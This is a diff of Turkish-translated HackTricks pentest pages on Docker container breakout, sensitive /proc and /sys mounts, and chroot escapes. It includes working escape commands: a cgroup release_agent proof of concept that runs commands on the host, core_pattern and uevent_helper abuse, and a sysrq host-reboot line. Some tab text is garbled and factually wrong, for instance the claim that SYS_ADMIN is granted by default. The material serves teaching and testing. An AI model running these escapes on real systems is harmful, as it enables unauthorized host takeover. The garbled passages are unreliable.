* **Yetenekler:** Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscall'ler:** Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle diğer syscall'ler kaçırılabilir).
* **Yetenekler**: Docker, şu yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscall'ler**: Bunlar, kök kullanıcının **çağıramayacağı syscalls'lerdir** (yetenek eksikliği + Seccomp nedeniyle). Diğer syscalls'ler kaçmaya çalışmak için kullanılabilir.
{% tabs %}
{% tab title="x64 syscall'ler" %}
{% tab title="x64 syscalls" %}
```yaml
0x067 -- syslog
0x070 -- setsid
@ -561,7 +561,7 @@ Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [h
```
{% endtab %}
{% tab title="syscall_bf.c" %}Docker kaçışı, bir saldırganın Docker konteynerinden ana makineye erişim elde etmek için kullanabileceği bir yöntemdir. Bu, Docker'ın kötüye kullanılmasından kaynaklanan bir ayrıcalık yükseltme saldırısıdır. Saldırgan, Docker konteynerinde sınırlı bir kullanıcı olarak başlayabilir ve ardından Docker'ın sistem çağrılarını kullanarak ayrıcalıklı işlemler gerçekleştirebilir. Bu saldırı vektörüne karşı korunmak için Docker'ın güvenlik önlemlerini dikkatlice yapılandırmak önemlidir.{% endtab %}
{% tab title="syscall_bf.c" %}Bu, Docker kaçışı için bir örnek sistem çağrısı güvenlik açığıdır. Bu, bir Docker konteynerinden ana makineye erişim elde etmek için kullanılabilir. Bu yöntem, sistem çağrıları kullanarak kötü niyetli bir konteynerden kaçmak için bir yöntem sunar. Bu saldırı vektörü, Docker'ın varsayılan olarak etkinleştirilen `SYS_ADMIN` yetkisini kullanır. Bu yetki, sistem çağrılarını filtreleme yeteneği sağlar ve bu nedenle kötü niyetli bir konteynerin sistem çağrılarını filtrelemesini atlatmasına izin verebilir. Bu saldırı vektörü, bir Docker konteynerinde çalışan bir saldırganın, ana makinedeki dosya sistemi üzerinde okuma/yazma erişimine sahip olmasına olanak tanır. Bu saldırı vektörü, Docker'ın varsayılan güvenlik önlemlerini aşarak ana makinede kötü niyetli eylemlerde bulunmak için kullanılabilir. Bu nedenle, Docker konteynerlerinin güvenliğini sağlamak için bu tür saldırı vektörlerine karşı önlemler alınmalıdır. Bu örnek, Docker güvenliği ve ayrıcalık yükseltme konularında farkındalığı artırmayı amaçlamaktadır.{% endtab %}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -632,16 +632,17 @@ Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Docker release\_agent cgroups kaçışı
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
@ -29,6 +30,8 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
***
**Daha fazla ayrıntı için** [**orijinal blog gönderisine**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** başvurun.** Bu sadece bir özet:
Orijinal PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -50,23 +53,23 @@ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Yayımlama Ajanını Yapılandır:**
* Konteynerin ana bilgisayardaki yolu /etc/mtab dosyasından elde edilir.
* Ardından cgroup'ın release\_agent dosyası, elde edilen ana bilgisayar yolunda bulunan /cmd adlı bir betiği çalıştırmak üzere yapılandırılır.
3. **Yayınlayıcı Etkeni Yapılandırma:**
* Konteynerin ana makinedeki yolu /etc/mtab dosyasından elde edilir.
* Ardından cgroup'ın release\_agent dosyası, elde edilen ana makine yolunda bulunan /cmd adlı bir betiği çalıştırmak üzere yapılandırılır.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **/cmd Betiği Oluşturun ve Yapılandırın:**
* /cmd betiği konteyner içinde oluşturulur ve ps aux komutunu çalıştırmak üzere yapılandırılır, çıktı /output adlı bir dosyaya yönlendirilir. Ana bilgisayar üzerindeki /output dosyasının tam yolu belirtilir.
* /cmd betiği konteyner içinde oluşturulur ve ps aux komutunu çalıştırmak üzere yapılandırılır, çıktı /output adlı bir dosyaya konteyner içinde yönlendirilir. Ana bilgisayar üzerinde /output'un tam yolu belirtilir.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Saldırıyı Tetikle:**
* Bir işlem "x" çocuk cgroups içinde başlatılır ve hemen sonlandırılır.
* Bu, `release_agent`'ı (the /cmd script) tetikler, bu da ana makinede ps aux komutunu çalıştırır ve çıktıyı konteyner içindeki /output'a yazar.
* Bir işlem "x" çocuk cgroup içinde başlatılır ve hemen sonlandırılır.
* Bu, `release_agent` (the /cmd script) tetikler ve ana makinede ps aux komutunu çalıştırır ve çıktıyı konteyner içinde /output'a yazar.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
@ -76,22 +79,23 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Hassas Bağlantı Noktaları
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -31,7 +32,7 @@ Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini de
#### **`/proc/sys/kernel/core_pattern`**
* [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) adresinde açıklanmıştır.
* Çekirdek dosyası oluşturulduğunda ilk 128 baytı argüman olarak alan bir programın tanımlanmasına izin verir. Dosya bir pipe `|` ile başlıyorsa kod yürütme olasılığı vardır.
* İlk 128 baytı argümanlar olarak alan bir programın çekirdek dosyası oluşturulduğunda çalıştırılmasına izin verir. Dosya bir boru `|` ile başlıyorsa kod yürütme olabilir.
* **Test ve Sömürü Örneği**:
```bash
@ -44,7 +45,7 @@ sleep 5 && ./crash & # İşleyiciyi tetikle
#### **`/proc/sys/kernel/modprobe`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde detaylı olarak açıklanmıştır.
* Çekirdek modül yükleyicisinin yolunu içerir, çekirdek modüllerini yüklemek için çağrılır.
* Çekirdek modül yükleyicisinin yolunu içerir ve çekirdek modüllerini yüklemek için çağrılır.
* **Erişimi Kontrol Etme Örneği**:
```bash
@ -53,8 +54,8 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
#### **`/proc/sys/vm/panic_on_oom`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde referans olarak verilmiştir.
* Bir OOM durumu meydana geldiğinde çekirdeğin çökmesini veya OOM öldürücüyü çağırmasını kontrol eden global bir bayrak.
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde referans gösterilmiştir.
* Bir OOM durumu meydana geldiğinde çekirdeğin çökmesini veya OOM öldürücüyü çağırmasını kontrol eden genel bir bayrak.
#### **`/proc/sys/fs`**
@ -65,7 +66,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
* Sihirli sayılarına dayalı olmayan ikili biçimler için yorumlayıcıları kaydetmeye olanak tanır.
* `/proc/sys/fs/binfmt_misc/register` yazılabilirse ayrıcalık yükseltmesine veya kök kabuk erişimine yol açabilir.
* İlgili sömürü ve açıklama:
* İlgili saldırı ve açıklama:
* [binfmt\_misc ile yoksul adamın kök kiti](https://github.com/toffan/binfmt\_misc)
* Detaylı öğretici: [Video bağlantısı](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -78,7 +79,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
#### **`/proc/sysrq-trigger`**
* Sysrq komutlarını çağırmaya izin verir, potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir.
* Sysrq komutlarını çağırmaya izin verir ve potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir.
* **Ana Bilgisayarı Yeniden Başlatma Örneği**:
```bash
@ -101,7 +102,7 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır
* Çekirdek bellek cihazı `/dev/mem` ile etkileşim sağlar.
* Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
* Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresine bakabilirsiniz.
* Daha fazlası için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresine bakın.
#### **`/proc/kcore`**
@ -112,41 +113,41 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır
#### **`/proc/kmem`**
* `/dev/kmem` için alternatif arayüz, çekirdek sanal belleğini temsil eder.
* Çekirdek sanal belleği temsil eden `/dev/kmem` için alternatif bir arayüz.
* Okuma ve yazma izni verir, dolayısıyla çekirdek belleğinin doğrudan değiştirilmesine olanak tanır.
#### **`/proc/mem`**
* `/dev/mem` için alternatif arayüz, fiziksel belleği temsil eder.
* Okuma ve yazma izni verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere çözülmesini gerektirir.
* Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüz.
* Okuma ve yazma izni verir, tüm belleğin değiştirilmesi sanal adresleri fiziksel adreslere çözümlemeyi gerektirir.
#### **`/proc/sched_debug`**
* PID ad alanı korumalarını atlayarak işlem zamanlama bilgilerini döndürür.
* İşlem adlarını, kimlikleri ve cgroup kimlikleriniığa çıkarır.
* İşlem adlarını, kimlikleri ve cgroup tanımlayıcılarınıığa çıkarır.
#### **`/proc/[pid]/mountinfo`**
* İşlem bağlantı noktaları hakkında bilgi sağlar.
* Konteyner `rootfs` veya görüntünün konumunu açığa çıkarır.
* Konteynerin `rootfs` veya görüntünün konumunu açığa çıkarır.
### `/sys` Zafiyetleri
#### **`/sys/kernel/uevent_helper`**
* Çekirdek cihaz `uevent`'lerini işlemek için kullanılır.
* Çekirdek cihaz `uevent`'leri işlemek için kullanılır.
* `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine keyfi komut dosyalarını yürütebilir.
* **Sömürü Örneği için**: %%%bash
* **Sömürü için Örnek**: %%%bash
#### Bir yük oluşturur
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Konteyner için OverlayFS bağlantı noktasından ana bilgisayar yolunu bulur
#### OverlayFS bağlantı noktasından ana bilgisayar yolunu bulur
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
#### uevent_helper'ı kötü amaçlı yardımcıya ayarlar
#### uevent\_helper'ı kötü amaçlı yardımcıya ayarlar
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
@ -173,7 +174,7 @@ cat /output %%%
#### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`**
* NVRAM'daki EFI değişkenleriyle etkileşim için arayüzler sunar.
* Yanlış yapılandırma veya istismar, tuğla gibi dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir.
* Yanlış yapılandırma veya kötüye kullanım, tuğla gibi olan dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir.
#### **`/sys/kernel/debug`**
@ -190,16 +191,17 @@ cat /output %%%
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# Hapishaneden Kaçış
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **GTFOBins**
**"Shell" özelliğine sahip herhangi bir binary'i çalıştırabilir misiniz diye** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **adresinde arama yapın**
**"Shell" özelliğine sahip herhangi bir ikili dosyayı çalıştırabilir misiniz diye** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **adresinde arama yapın**
## Chroot Kaçışları
[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations)'dan: Chroot mekanizması, **açık** (**root**) **kullanıcılar** tarafından **kasıtlı müdahalelere karşı korunmak amacıyla tasarlanmamıştır**. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmaz ve yeterli ayrıcalıklara sahip chrooted programlar **kırılmak için ikinci bir chroot gerçekleştirebilir**.\
Genellikle bu, kaçmak için chroot içinde root olmanız gerektiği anlamına gelir.
[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations) **sitesinden**: Chroot mekanizması, **açık** (**root**) **kullanıcılar** tarafından **kasıtlı müdahalelere karşı korunmak için tasarlanmamıştır**. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmaz ve yeterli ayrıcalıklara sahip chrooted programlar **kırılmak için ikinci bir chroot gerçekleştirebilir**.\
Genellikle bu, kaçmak için chroot içinde kök olmanız gerektiği anlamına gelir.
{% hint style="success" %}
**Araç** [**chw00t**](https://github.com/earthquake/chw00t) aşağıdaki senaryoları kötüye kullanmak ve `chroot`tan kaçmak için oluşturulmuştur.
@ -30,12 +31,12 @@ Genellikle bu, kaçmak için chroot içinde root olmanız gerektiği anlamına g
### Root + CWD
{% hint style="warning" %}
Eğer bir chroot içinde **root** iseniz, **başka bir chroot oluşturarak kaçabilirsiniz**. Bu, 2 chroot'un aynı anda var olamayacağı anlamına gelir (Linux'ta), bu yüzden yeni bir klasör oluşturursanız ve ardından **bu yeni klasörde yeni bir chroot oluşturursanız ve siz dışında kalırsanız**, artık **yeni chroot'un dışında olacaksınız** ve dolayısıyla FS içinde olacaksınız.
Eğer bir chroot içinde **kök** iseniz, **başka bir chroot oluşturarak kaçabilirsiniz**. Bu, 2 chroot'un aynı anda var olamayacağı (Linux'ta) için geçerlidir, bu yüzden yeni bir klasör oluşturursanız ve ardından **dışında olacak şekilde** bu yeni klasörde **yeni bir chroot oluşturursanız**, artık **yeni chroot'un dışında olacaksınız** ve dolayısıyla FS içinde olacaksınız.
Bu genellikle chroot'un çalışma dizinini belirtilene taşımaz, bu yüzden bir chroot oluşturabilirsiniz ancak dışında kalabilirsiniz.
Bu genellikle chroot'un çalışma dizinini belirtilene taşımaz, bu yüzden bir chroot oluşturabilirsiniz ancak dışında olabilirsiniz.
